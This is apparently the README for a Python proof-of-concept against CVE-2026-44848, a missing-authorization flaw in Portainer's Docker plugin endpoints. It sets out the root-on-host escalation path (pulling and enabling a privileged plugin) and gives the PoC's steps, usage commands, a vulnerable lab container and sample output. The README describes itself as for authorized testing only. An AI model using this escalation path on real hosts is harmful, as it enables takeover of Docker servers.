
PoC для CVE-2026-44848: отсутствие авторизации в Portainer на эндпоинтах плагинов Docker -> RCE на хосте (GHSA-rrmm-9v76-h3p4). Только стандартная библиотека Python.
Proof-of-concept для CVE-2026-44848, уязвимости отсутствия аутентификации (CWE-862) в Portainer, которая позволяет не-администратору с доступом к эндпоинту Docker выполнять привилегированные операции с плагинами Docker → полный RCE на хосте.
Уведомление GitHub о безопасности: GHSA-rrmm-9v76-h3p4 · CVSS 9.4 (критический).
Portainer обеспечивает контроль доступа на основе ролей (RBAC) поверх Docker API, проксируя
запросы через обработчики для каждого ресурса, которые применяют проверки авторизации. Для
эндпоинтов управления плагинами Docker (/plugins/*) не был зарегистрирован обработчик, поэтому
уровень авторизации для них никогда не выполняется. В результате обычный пользователь (роль 2) — или любая
роль, которой предоставлен доступ на уровне эндпоинта, — может вызывать привилегированные операции с плагинами
напрямую против нижележащего демона Docker:
POST /plugins/pull — загрузить произвольный плагин из любого реестраCAP_SYS_ADMIN и монтирование путей хостаPOST /plugins/{name}/enable — Docker запускает плагин как root на хосте с этими
capabilities → полный доступ к файловой системе хоста, что эквивалентно root на хосте Docker>= 2.33.0, < 2.33.8>= 2.39.0, < 2.39.2>= 2.40.0, < 2.41.0Основной, безопасно воспроизводимый примитив ошибки: обычный (не-администратор) пользователь может
обратиться к привилегированному Docker API /plugins/* через прокси Portainer без авторизации.
Это демонстрируется сквозным образом против реального уязвимого экземпляра Portainer:
POST /api/users/admin/init (обрабатывает 409 и переходит ко входу в систему).bob, роль 2), обрабатывая 409 сбросом его пароля.POST /api/endpoints, если таковых нет) и предоставляет bob доступ через
PUT /api/endpoints/{id} UserAccessPolicies.bob (не-администратор) и вызывает
GET /api/endpoints/1/docker/plugins с токеном bob.# Defaults: https://localhost:9444, random admin password
python3 portainer_plugin_poc.py
# Explicit target + admin password + command
python3 portainer_plugin_poc.py --url https://localhost:9444 --admin-pass 'P@ssw0rd!' --command "id; hostname"
# Write a JSON summary
python3 portainer_plugin_poc.py --url https://localhost:9444 --output out.json
python3 portainer_plugin_poc.py --help
Требуется только стандартная библиотека Python 3. Проверка TLS отключена (самоподписанные лабораторные сертификаты).
docker run -d --name portainer-lab-cve44848 \
-p 127.0.0.1:9444:9443 \
-v /var/run/docker.sock:/var/run/docker.sock \
portainer/portainer-ce:2.39.1 # vulnerable
AUTH-BYPASS CONFIRMED: standard user reached /plugins (HTTP 200)
=> PASS (missing auth / host-RCE primitive confirmed)
Только для авторизованных исследований и тестирования безопасности. Активирующий шаг (POST /plugins/*)
может предоставить root на хосте; данный PoC останавливается на демонстрации обхода авторизации и
не активирует деструктивный/вредоносный плагин. Используйте только против систем, которыми вы владеете
или которые вам разрешено тестировать.